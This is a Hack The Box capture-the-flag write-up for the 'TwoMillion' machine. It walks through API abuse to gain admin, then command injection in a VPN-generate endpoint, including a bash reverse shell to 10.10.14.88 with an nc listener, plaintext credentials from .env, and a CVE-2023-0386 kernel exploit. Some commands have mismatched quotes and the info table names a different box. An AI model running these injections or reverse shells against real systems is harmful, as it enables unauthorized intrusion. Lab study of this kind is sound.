---
title: HTB - TwoMillion
date: 2023-06-07 12:17:34 -0400
categories: [hackthebox , TwoMillion]
tags: [HackTheBox, API endpoints, API, CVE-2023-0386, nmap, web, rot13, curl,OverlaysFS Fuse]
image:
path: /assets/img/post/twomillion/twomillion-card.png
lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA
alt: Hack the Box - TwoMillion.
---
## Box Info
| Name | Bizness |
| :-------------------- | ---------------: |
| Release Date | 07 Jun, 2023 |
| OS | Linux |
| Rated Difficulty | Easy |
## Enumeration
### Nmap
```bash
nmap -p- --min-rate 5000 -n -sS -vvv -Pn 10.10.11.221 -oG allPorts
nmap -sCV -p 22,80 10.10.11.221 -oN targeted
```
### Resolution DNS
```bash
echo "10.10.11.221 twomillion.htb | sudo tee -a /etc/hosts"
```
## Web
When hover the mouse over "`here`" show it us the link to goes.
Looking in dom i found this path from a API and the instruction of how script works
Url decode for read more comfort:
```js
function verifyInviteCode(code){
var formData = {"code":code};
$.ajax({
type: "POST",
url: '/api/v1/invite/verify',
dataType: 'json',
data: formData,
success: function(response){
console.log(response);
},
error: function(response){
console.log(response);
}
});
}
function makeInviteCode(){
$.ajax({
type: "POST",
url: '/api/v1/invite/how/to/generate',
dataType: 'json',
success: function(response){
console.log(response);
},
error: function(response){
console.log(response);
}
});
}
```
Theres a interesting function called makeInviteCode so we gonna execute this function on console from inspection web.
If i click in the object it show us something interesting encrypte in `ROT13`
We can decrypt rot13 with some web page for that
`"In order to generate the invite code, make a POST request to /api/invite/generate"`
```bash
curl -s -X POST "http://2million.htb/api/v1/invite/generate"
```
With `curl` can send a POST method for generate the invite code.
And the API it generate us an code in base64, it can decrypt with base64[^code] and use it for registration us web and login.
Looking in the web, I found a path in api/v1
## API
Abusing again the API we send a request in method GET with the Cookie
```bash
`curl -s -X GET "http://2million.htb/api/v1" -H "Cookie: PHPSESSID=avhllptt4vvs1rbocvart3ue9b"`
```
```bash
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json" | jq
```
```bash
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json" -d '{"email": "jack@jack.com"}' | jq
```
```bash
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json" -d '{"email": "jack@jack.com", "is:admin": "True"}' | jq
```
```bash
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json" -d '{"email": "jack@jack.com", "is:admin": "1"}' | jq
```
```bash
curl -s -X GET "http://2million.htb/api/v1/admin/auth" -H "Cookie: PHPSESSID="
```
```bash
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json' -d '{"username": "jack"}' | jq
```
```bash
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json' -d '{"username": ";whoami;"}'
```
```bash
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json' -d '{"username": ";ls;"}'
```
```bash
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json' -d '{"username": ";bash -c \"bash -i >& /dev/tcp/10.10.14.88/443 0>&1\" #"}'
```
```bash
rlwrap nc -lvnp 443
```
Enumerate linux we can see a folder with the name .env this contain a credentials in plane text. We are a www-data so we need
admin SuperDuperPass123
When we login the first appear is mail, this mail is lcoated in /var/mail
## CVE-2023-0386
Well, the mail says everything... Google it.
Search in google "OverlaysFS Fuse linux kernel and the fisrt poc i found is this `CVE-2023-0386`[^cve]
ROOT
### Source
[^code]:
[^cve]: